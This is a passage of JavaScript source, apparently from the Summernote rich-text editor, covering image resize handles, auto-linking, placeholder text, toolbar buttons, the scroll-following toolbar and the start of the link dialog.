class="note-control-selection-bg"></div>', '<div class="note-control-holder note-control-nw"></div>', '<div class="note-control-holder note-control-ne"></div>', '<div class="note-control-holder note-control-sw"></div>', '<div class="', (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'), ' note-control-se"></div>', (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'), '</div>', '</div>' ].join('')).prependTo(this.$editingArea); this.$handle.on('mousedown', function (event) { if (dom.isControlSizing(event.target)) { event.preventDefault(); event.stopPropagation(); var $target_1 = _this.$handle.find('.note-control-selection').data('target'); var posStart_1 = $target_1.offset(); var scrollTop_1 = _this.$document.scrollTop(); var onMouseMove_1 = function (event) { _this.context.invoke('editor.resizeTo', { x: event.clientX - posStart_1.left, y: event.clientY - (posStart_1.top - scrollTop_1) }, $target_1, !event.shiftKey); _this.update($target_1[0]); }; _this.$document .on('mousemove', onMouseMove_1) .one('mouseup', function (e) { e.preventDefault(); _this.$document.off('mousemove', onMouseMove_1); _this.context.invoke('editor.afterCommand'); }); if (!$target_1.data('ratio')) { $target_1.data('ratio', $target_1.height() / $target_1.width()); } } }); // Listen for scrolling on the handle overlay. this.$handle.on('wheel', function (e) { e.preventDefault(); _this.update(); }); }; Handle.prototype.destroy = function () { this.$handle.remove(); }; Handle.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isImage = dom.isImg(target); var $selection = this.$handle.find('.note-control-selection'); this.context.invoke('imagePopover.update', target); if (isImage) { var $image = $$1(target); var position = $image.position(); var pos = { left: position.left + parseInt($image.css('marginLeft'), 10), top: position.top + parseInt($image.css('marginTop'), 10) }; // exclude margin var imageSize = { w: $image.outerWidth(false), h: $image.outerHeight(false) }; $selection.css({ display: 'block', left: pos.left, top: pos.top, width: imageSize.w, height: imageSize.h }).data('target', $image); // save current image element. var origImageObj = new Image(); origImageObj.src = $image.attr('src'); var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')'; $selection.find('.note-control-selection-info').text(sizingText); this.context.invoke('editor.saveTarget', target); } else { this.hide(); } return isImage; }; /** * hide * * @param {jQuery} $handle */ Handle.prototype.hide = function () { this.context.invoke('editor.clearTarget'); this.$handle.children().hide(); }; return Handle; }()); var defaultScheme = 'http://'; var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i; var AutoLink = /** @class */ (function () { function AutoLink(context) { var _this = this; this.context = context; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); } }; } AutoLink.prototype.initialize = function () { this.lastWordRange = null; }; AutoLink.prototype.destroy = function () { this.lastWordRange = null; }; AutoLink.prototype.replace = function () { if (!this.lastWordRange) { return; } var keyword = this.lastWordRange.toString(); var match = keyword.match(linkPattern); if (match && (match[1] || match[2])) { var link = match[1] ? keyword : defaultScheme + keyword; var node = $$1('<a />').html(keyword).attr('href', link)[0]; this.lastWordRange.insertNode(node); this.lastWordRange = null; this.context.invoke('editor.focus'); } }; AutoLink.prototype.handleKeydown = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); this.lastWordRange = wordRange; } }; AutoLink.prototype.handleKeyup = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { this.replace(); } }; return AutoLink; }()); /** * textarea auto sync. */ var AutoSync = /** @class */ (function () { function AutoSync(context) { var _this = this; this.$note = context.layoutInfo.note; this.events = { 'summernote.change': function () { _this.$note.val(context.invoke('code')); } }; } AutoSync.prototype.shouldInitialize = function () { return dom.isTextarea(this.$note[0]); }; return AutoSync; }()); var Placeholder = /** @class */ (function () { function Placeholder(context) { var _this = this; this.context = context; this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.events = { 'summernote.init summernote.change': function () { _this.update(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Placeholder.prototype.shouldInitialize = function () { return !!this.options.placeholder; }; Placeholder.prototype.initialize = function () { var _this = this; this.$placeholder = $$1('<div class="note-placeholder">'); this.$placeholder.on('click', function () { _this.context.invoke('focus'); }).text(this.options.placeholder).prependTo(this.$editingArea); this.update(); }; Placeholder.prototype.destroy = function () { this.$placeholder.remove(); }; Placeholder.prototype.update = function () { var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty'); this.$placeholder.toggle(isShow); }; return Placeholder; }()); var Buttons = /** @class */ (function () { function Buttons(context) { this.ui = $$1.summernote.ui; this.context = context; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.lang = this.options.langInfo; this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']); } Buttons.prototype.representShortcut = function (editorMethod) { var shortcut = this.invertedKeyMap[editorMethod]; if (!this.options.shortcuts || !shortcut) { return ''; } if (env.isMac) { shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧'); } shortcut = shortcut.replace('BACKSLASH', '\\') .replace('SLASH', '/') .replace('LEFTBRACKET', '[') .replace('RIGHTBRACKET', ']'); return ' (' + shortcut + ')'; }; Buttons.prototype.button = function (o) { if (!this.options.tooltip && o.tooltip) { delete o.tooltip; } o.container = this.options.container; return this.ui.button(o); }; Buttons.prototype.initialize = function () { this.addToolbarButtons(); this.addImagePopoverButtons(); this.addLinkPopoverButtons(); this.addTablePopoverButtons(); this.fontInstalledMap = {}; }; Buttons.prototype.destroy = function () { delete this.fontInstalledMap; }; Buttons.prototype.isFontInstalled = function (name) { if (!this.fontInstalledMap.hasOwnProperty(name)) { this.fontInstalledMap[name] = env.isFontInstalled(name) || lists.contains(this.options.fontNamesIgnoreCheck, name); } return this.fontInstalledMap[name]; }; Buttons.prototype.isFontDeservedToAdd = function (name) { var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy']; name = name.toLowerCase(); return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1)); }; Buttons.prototype.addToolbarButtons = function () { var _this = this; this.context.memo('button.style', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options), tooltip: _this.lang.style.style, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ className: 'dropdown-style', items: _this.options.styleTags, title: _this.lang.style.style, template: function (item) { if (typeof item === 'string') { item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) }; } var tag = item.tag; var title = item.title; var style = item.style ? ' style="' + item.style + '" ' : ''; var className = item.className ? ' class="' + item.className + '"' : ''; return '<' + tag + style + className + '>' + title + '</' + tag + '>'; }, click: _this.context.createInvokeHandler('editor.formatBlock') }) ]).render(); }); var _loop_1 = function (styleIdx, styleLen) { var item = this_1.options.styleTags[styleIdx]; this_1.context.memo('button.style.' + item, function () { return _this.button({ className: 'note-btn-style-' + item, contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>', tooltip: _this.lang.style[item], click: _this.context.createInvokeHandler('editor.formatBlock') }).render(); }); }; var this_1 = this; for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) { _loop_1(styleIdx, styleLen); } this.context.memo('button.bold', function () { return _this.button({ className: 'note-btn-bold', contents: _this.ui.icon(_this.options.icons.bold), tooltip: _this.lang.font.bold + _this.representShortcut('bold'), click: _this.context.createInvokeHandlerAndUpdateState('editor.bold') }).render(); }); this.context.memo('button.italic', function () { return _this.button({ className: 'note-btn-italic', contents: _this.ui.icon(_this.options.icons.italic), tooltip: _this.lang.font.italic + _this.representShortcut('italic'), click: _this.context.createInvokeHandlerAndUpdateState('editor.italic') }).render(); }); this.context.memo('button.underline', function () { return _this.button({ className: 'note-btn-underline', contents: _this.ui.icon(_this.options.icons.underline), tooltip: _this.lang.font.underline + _this.representShortcut('underline'), click: _this.context.createInvokeHandlerAndUpdateState('editor.underline') }).render(); }); this.context.memo('button.clear', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.eraser), tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'), click: _this.context.createInvokeHandler('editor.removeFormat') }).render(); }); this.context.memo('button.strikethrough', function () { return _this.button({ className: 'note-btn-strikethrough', contents: _this.ui.icon(_this.options.icons.strikethrough), tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'), click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough') }).render(); }); this.context.memo('button.superscript', function () { return _this.button({ className: 'note-btn-superscript', contents: _this.ui.icon(_this.options.icons.superscript), tooltip: _this.lang.font.superscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript') }).render(); }); this.context.memo('button.subscript', function () { return _this.button({ className: 'note-btn-subscript', contents: _this.ui.icon(_this.options.icons.subscript), tooltip: _this.lang.font.subscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript') }).render(); }); this.context.memo('button.fontname', function () { var styleInfo = _this.context.invoke('editor.currentStyle'); // Add 'default' fonts into the fontnames array if not exist $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) { fontname = fontname.trim().replace(/['"]+/g, ''); if (_this.isFontDeservedToAdd(fontname)) { if ($$1.inArray(fontname, _this.options.fontNames) === -1) { _this.options.fontNames.push(fontname); } } }); return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options), tooltip: _this.lang.font.name, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontname', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)), title: _this.lang.font.name, template: function (item) { return '<span style="font-family: \'' + item + '\'">' + item + '</span>'; }, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName') }) ]).render(); }); this.context.memo('button.fontsize', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options), tooltip: _this.lang.font.size, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontsize', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontSizes, title: _this.lang.font.size, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize') }) ]).render(); }); this.context.memo('button.color', function () { return _this.ui.buttonGroup({ className: 'note-color', children: [ _this.button({ className: 'note-current-color-button', contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'), tooltip: _this.lang.color.recent, click: function (e) { var $button = $$1(e.currentTarget); _this.context.invoke('editor.color', { backColor: $button.attr('data-backColor'), foreColor: $button.attr('data-foreColor') }); }, callback: function ($button) { var $recentColor = $button.find('.note-recent-color'); $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } }), _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('', _this.options), tooltip: _this.lang.color.more, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ items: [ '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.background + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">', _this.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.foreground + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">', _this.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>' ].join(''), callback: function ($dropdown) { $dropdown.find('.note-holder').each(function (idx, item) { var $holder = $$1(item); $holder.append(_this.ui.palette({ colors: _this.options.colors, colorsName: _this.options.colorsName, eventName: $holder.data('event'), container: _this.options.container, tooltip: _this.options.tooltip }).render()); }); }, click: function (event) { var $button = $$1(event.target); var eventName = $button.data('event'); var value = $button.data('value'); if (eventName && value) { var key = eventName === 'backColor' ? 'background-color' : 'color'; var $color = $button.closest('.note-color').find('.note-recent-color'); var $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); _this.context.invoke('editor.' + eventName, value); } } }) ] }).render(); }); this.context.memo('button.ul', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unorderedlist), tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'), click: _this.context.createInvokeHandler('editor.insertUnorderedList') }).render(); }); this.context.memo('button.ol', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.orderedlist), tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'), click: _this.context.createInvokeHandler('editor.insertOrderedList') }).render(); }); var justifyLeft = this.button({ contents: this.ui.icon(this.options.icons.alignLeft), tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'), click: this.context.createInvokeHandler('editor.justifyLeft') }); var justifyCenter = this.button({ contents: this.ui.icon(this.options.icons.alignCenter), tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'), click: this.context.createInvokeHandler('editor.justifyCenter') }); var justifyRight = this.button({ contents: this.ui.icon(this.options.icons.alignRight), tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'), click: this.context.createInvokeHandler('editor.justifyRight') }); var justifyFull = this.button({ contents: this.ui.icon(this.options.icons.alignJustify), tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'), click: this.context.createInvokeHandler('editor.justifyFull') }); var outdent = this.button({ contents: this.ui.icon(this.options.icons.outdent), tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'), click: this.context.createInvokeHandler('editor.outdent') }); var indent = this.button({ contents: this.ui.icon(this.options.icons.indent), tooltip: this.lang.paragraph.indent + this.representShortcut('indent'), click: this.context.createInvokeHandler('editor.indent') }); this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render')); this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render')); this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render')); this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render')); this.context.memo('button.outdent', func.invoke(outdent, 'render')); this.context.memo('button.indent', func.invoke(indent, 'render')); this.context.memo('button.paragraph', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options), tooltip: _this.lang.paragraph.paragraph, data: { toggle: 'dropdown' } }), _this.ui.dropdown([ _this.ui.buttonGroup({ className: 'note-align', children: [justifyLeft, justifyCenter, justifyRight, justifyFull] }), _this.ui.buttonGroup({ className: 'note-list', children: [outdent, indent] }) ]) ]).render(); }); this.context.memo('button.height', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options), tooltip: _this.lang.font.height, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ items: _this.options.lineHeights, checkClassName: _this.options.icons.menuCheck, className: 'dropdown-line-height', title: _this.lang.font.height, click: _this.context.createInvokeHandler('editor.lineHeight') }) ]).render(); }); this.context.memo('button.table', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options), tooltip: _this.lang.table.table, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ title: _this.lang.table.table, className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: function ($node) { var $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: _this.options.insertTableMaxSize.col + 'em', height: _this.options.insertTableMaxSize.row + 'em' }).mousedown(_this.context.createInvokeHandler('editor.insertTable')) .on('mousemove', _this.tableMoveHandler.bind(_this)); } }).render(); }); this.context.memo('button.link', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'), click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.picture', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.picture), tooltip: _this.lang.image.image, click: _this.context.createInvokeHandler('imageDialog.show') }).render(); }); this.context.memo('button.video', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.video), tooltip: _this.lang.video.video, click: _this.context.createInvokeHandler('videoDialog.show') }).render(); }); this.context.memo('button.hr', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.minus), tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'), click: _this.context.createInvokeHandler('editor.insertHorizontalRule') }).render(); }); this.context.memo('button.fullscreen', function () { return _this.button({ className: 'btn-fullscreen', contents: _this.ui.icon(_this.options.icons.arrowsAlt), tooltip: _this.lang.options.fullscreen, click: _this.context.createInvokeHandler('fullscreen.toggle') }).render(); }); this.context.memo('button.codeview', function () { return _this.button({ className: 'btn-codeview', contents: _this.ui.icon(_this.options.icons.code), tooltip: _this.lang.options.codeview, click: _this.context.createInvokeHandler('codeview.toggle') }).render(); }); this.context.memo('button.redo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.redo), tooltip: _this.lang.history.redo + _this.representShortcut('redo'), click: _this.context.createInvokeHandler('editor.redo') }).render(); }); this.context.memo('button.undo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.undo), tooltip: _this.lang.history.undo + _this.representShortcut('undo'), click: _this.context.createInvokeHandler('editor.undo') }).render(); }); this.context.memo('button.help', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.question), tooltip: _this.lang.options.help, click: _this.context.createInvokeHandler('helpDialog.show') }).render(); }); }; /** * image : [ * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], * ['float', ['floatLeft', 'floatRight', 'floatNone' ]], * ['remove', ['removeMedia']] * ], */ Buttons.prototype.addImagePopoverButtons = function () { var _this = this; // Image Size Buttons this.context.memo('button.imageSize100', function () { return _this.button({ contents: '<span class="note-fontsize-10">100%</span>', tooltip: _this.lang.image.resizeFull, click: _this.context.createInvokeHandler('editor.resize', '1') }).render(); }); this.context.memo('button.imageSize50', function () { return _this.button({ contents: '<span class="note-fontsize-10">50%</span>', tooltip: _this.lang.image.resizeHalf, click: _this.context.createInvokeHandler('editor.resize', '0.5') }).render(); }); this.context.memo('button.imageSize25', function () { return _this.button({ contents: '<span class="note-fontsize-10">25%</span>', tooltip: _this.lang.image.resizeQuarter, click: _this.context.createInvokeHandler('editor.resize', '0.25') }).render(); }); // Float Buttons this.context.memo('button.floatLeft', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignLeft), tooltip: _this.lang.image.floatLeft, click: _this.context.createInvokeHandler('editor.floatMe', 'left') }).render(); }); this.context.memo('button.floatRight', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignRight), tooltip: _this.lang.image.floatRight, click: _this.context.createInvokeHandler('editor.floatMe', 'right') }).render(); }); this.context.memo('button.floatNone', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignJustify), tooltip: _this.lang.image.floatNone, click: _this.context.createInvokeHandler('editor.floatMe', 'none') }).render(); }); // Remove Buttons this.context.memo('button.removeMedia', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.image.remove, click: _this.context.createInvokeHandler('editor.removeMedia') }).render(); }); }; Buttons.prototype.addLinkPopoverButtons = function () { var _this = this; this.context.memo('button.linkDialogShow', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.edit, click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.unlink', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unlink), tooltip: _this.lang.link.unlink, click: _this.context.createInvokeHandler('editor.unlink') }).render(); }); }; /** * table : [ * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] * ], */ Buttons.prototype.addTablePopoverButtons = function () { var _this = this; this.context.memo('button.addRowUp', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowAbove), tooltip: _this.lang.table.addRowAbove, click: _this.context.createInvokeHandler('editor.addRow', 'top') }).render(); }); this.context.memo('button.addRowDown', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowBelow), tooltip: _this.lang.table.addRowBelow, click: _this.context.createInvokeHandler('editor.addRow', 'bottom') }).render(); }); this.context.memo('button.addColLeft', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colBefore), tooltip: _this.lang.table.addColLeft, click: _this.context.createInvokeHandler('editor.addCol', 'left') }).render(); }); this.context.memo('button.addColRight', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colAfter), tooltip: _this.lang.table.addColRight, click: _this.context.createInvokeHandler('editor.addCol', 'right') }).render(); }); this.context.memo('button.deleteRow', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowRemove), tooltip: _this.lang.table.delRow, click: _this.context.createInvokeHandler('editor.deleteRow') }).render(); }); this.context.memo('button.deleteCol', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colRemove), tooltip: _this.lang.table.delCol, click: _this.context.createInvokeHandler('editor.deleteCol') }).render(); }); this.context.memo('button.deleteTable', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.table.delTable, click: _this.context.createInvokeHandler('editor.deleteTable') }).render(); }); }; Buttons.prototype.build = function ($container, groups) { for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) { var group = groups[groupIdx]; var groupName = $$1.isArray(group) ? group[0] : group; var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group]; var $group = this.ui.buttonGroup({ className: 'note-' + groupName }).render(); for (var idx = 0, len = buttons.length; idx < len; idx++) { var btn = this.context.memo('button.' + buttons[idx]); if (btn) { $group.append(typeof btn === 'function' ? btn(this.context) : btn); } } $group.appendTo($container); } }; /** * @param {jQuery} [$container] */ Buttons.prototype.updateCurrentStyle = function ($container) { var _this = this; var $cont = $container || this.$toolbar; var styleInfo = this.context.invoke('editor.currentStyle'); this.updateBtnStates($cont, { '.note-btn-bold': function () { return styleInfo['font-bold'] === 'bold'; }, '.note-btn-italic': function () { return styleInfo['font-italic'] === 'italic'; }, '.note-btn-underline': function () { return styleInfo['font-underline'] === 'underline'; }, '.note-btn-subscript': function () { return styleInfo['font-subscript'] === 'subscript'; }, '.note-btn-superscript': function () { return styleInfo['font-superscript'] === 'superscript'; }, '.note-btn-strikethrough': function () { return styleInfo['font-strikethrough'] === 'strikethrough'; } }); if (styleInfo['font-family']) { var fontNames = styleInfo['font-family'].split(',').map(function (name) { return name.replace(/[\'\"]/g, '') .replace(/\s+$/, '') .replace(/^\s+/, ''); }); var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this)); $cont.find('.dropdown-fontname a').each(function (idx, item) { var $item = $$1(item); // always compare string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontName_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1); } if (styleInfo['font-size']) { var fontSize_1 = styleInfo['font-size']; $cont.find('.dropdown-fontsize a').each(function (idx, item) { var $item = $$1(item); // always compare with string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontSize_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontsize').text(fontSize_1); } if (styleInfo['line-height']) { var lineHeight_1 = styleInfo['line-height']; $cont.find('.dropdown-line-height li a').each(function (idx, item) { // always compare with string to avoid creating another func. var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + ''); _this.className = isChecked ? 'checked' : ''; }); } }; Buttons.prototype.updateBtnStates = function ($container, infos) { var _this = this; $$1.each(infos, function (selector, pred) { _this.ui.toggleBtnActive($container.find(selector), pred()); }); }; Buttons.prototype.tableMoveHandler = function (event) { var PX_PER_EM = 18; var $picker = $$1(event.target.parentNode); // target is mousecatcher var $dimensionDisplay = $picker.next(); var $catcher = $picker.find('.note-dimension-picker-mousecatcher'); var $highlighted = $picker.find('.note-dimension-picker-highlighted'); var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); var posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { var posCatcher = $$1(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } var dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); }; return Buttons; }()); var Toolbar = /** @class */ (function () { function Toolbar(context) { this.context = context; this.$window = $$1(window); this.$document = $$1(document); this.ui = $$1.summernote.ui; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.followScroll = this.followScroll.bind(this); } Toolbar.prototype.shouldInitialize = function () { return !this.options.airMode; }; Toolbar.prototype.initialize = function () { var _this = this; this.options.toolbar = this.options.toolbar || []; if (!this.options.toolbar.length) { this.$toolbar.hide(); } else { this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar); } if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } this.changeContainer(false); this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () { _this.context.invoke('buttons.updateCurrentStyle'); }); this.context.invoke('buttons.updateCurrentStyle'); if (this.options.followingToolbar) { this.$window.on('scroll resize', this.followScroll); } }; Toolbar.prototype.destroy = function () { this.$toolbar.children().remove(); if (this.options.followingToolbar) { this.$window.off('scroll resize', this.followScroll); } }; Toolbar.prototype.followScroll = function () { if (this.$editor.hasClass('fullscreen')) { return false; } var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper'); var editorHeight = this.$editor.outerHeight(); var editorWidth = this.$editor.width(); var toolbarHeight = this.$toolbar.height(); $toolbarWrapper.css({ height: toolbarHeight }); // check if the web app is currently using another static bar var otherBarHeight = 0; if (this.options.otherStaticBar) { otherBarHeight = $$1(this.options.otherStaticBar).outerHeight(); } var currentOffset = this.$document.scrollTop(); var editorOffsetTop = this.$editor.offset().top; var editorOffsetBottom = editorOffsetTop + editorHeight; var activateOffset = editorOffsetTop - otherBarHeight; var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight; if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) { this.$toolbar.css({ position: 'fixed', top: otherBarHeight, width: editorWidth }); } else { this.$toolbar.css({ position: 'relative', top: 0, width: '100%' }); } }; Toolbar.prototype.changeContainer = function (isFullscreen) { if (isFullscreen) { this.$toolbar.prependTo(this.$editor); } else { if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } } }; Toolbar.prototype.updateFullscreen = function (isFullscreen) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen); this.changeContainer(isFullscreen); }; Toolbar.prototype.updateCodeview = function (isCodeview) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview); if (isCodeview) { this.deactivate(); } else { this.activate(); } }; Toolbar.prototype.activate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, true); }; Toolbar.prototype.deactivate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, false); }; return Toolbar; }()); var LinkDialog = /** @class */ (function () { function LinkDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']); } LinkDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>", '<input class="note-link-text form-control note-form-control note-input" type="text" />', '</div>', '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.url + "</label>", '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />', '</div>', !this.options.disableLinkTarget ? $$1('<div/>').append(this.ui.checkbox({ id: 'sn-checkbox-open-in-new-window', text: this.lang.link.openInNewWindow, checked: true }).render()).html() : '' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>"; this.$dialog = this.ui.dialog({ className: 'link-dialog', title: this.lang.link.insert, fade: this.options.dialogsFade, body: body, footer: footer 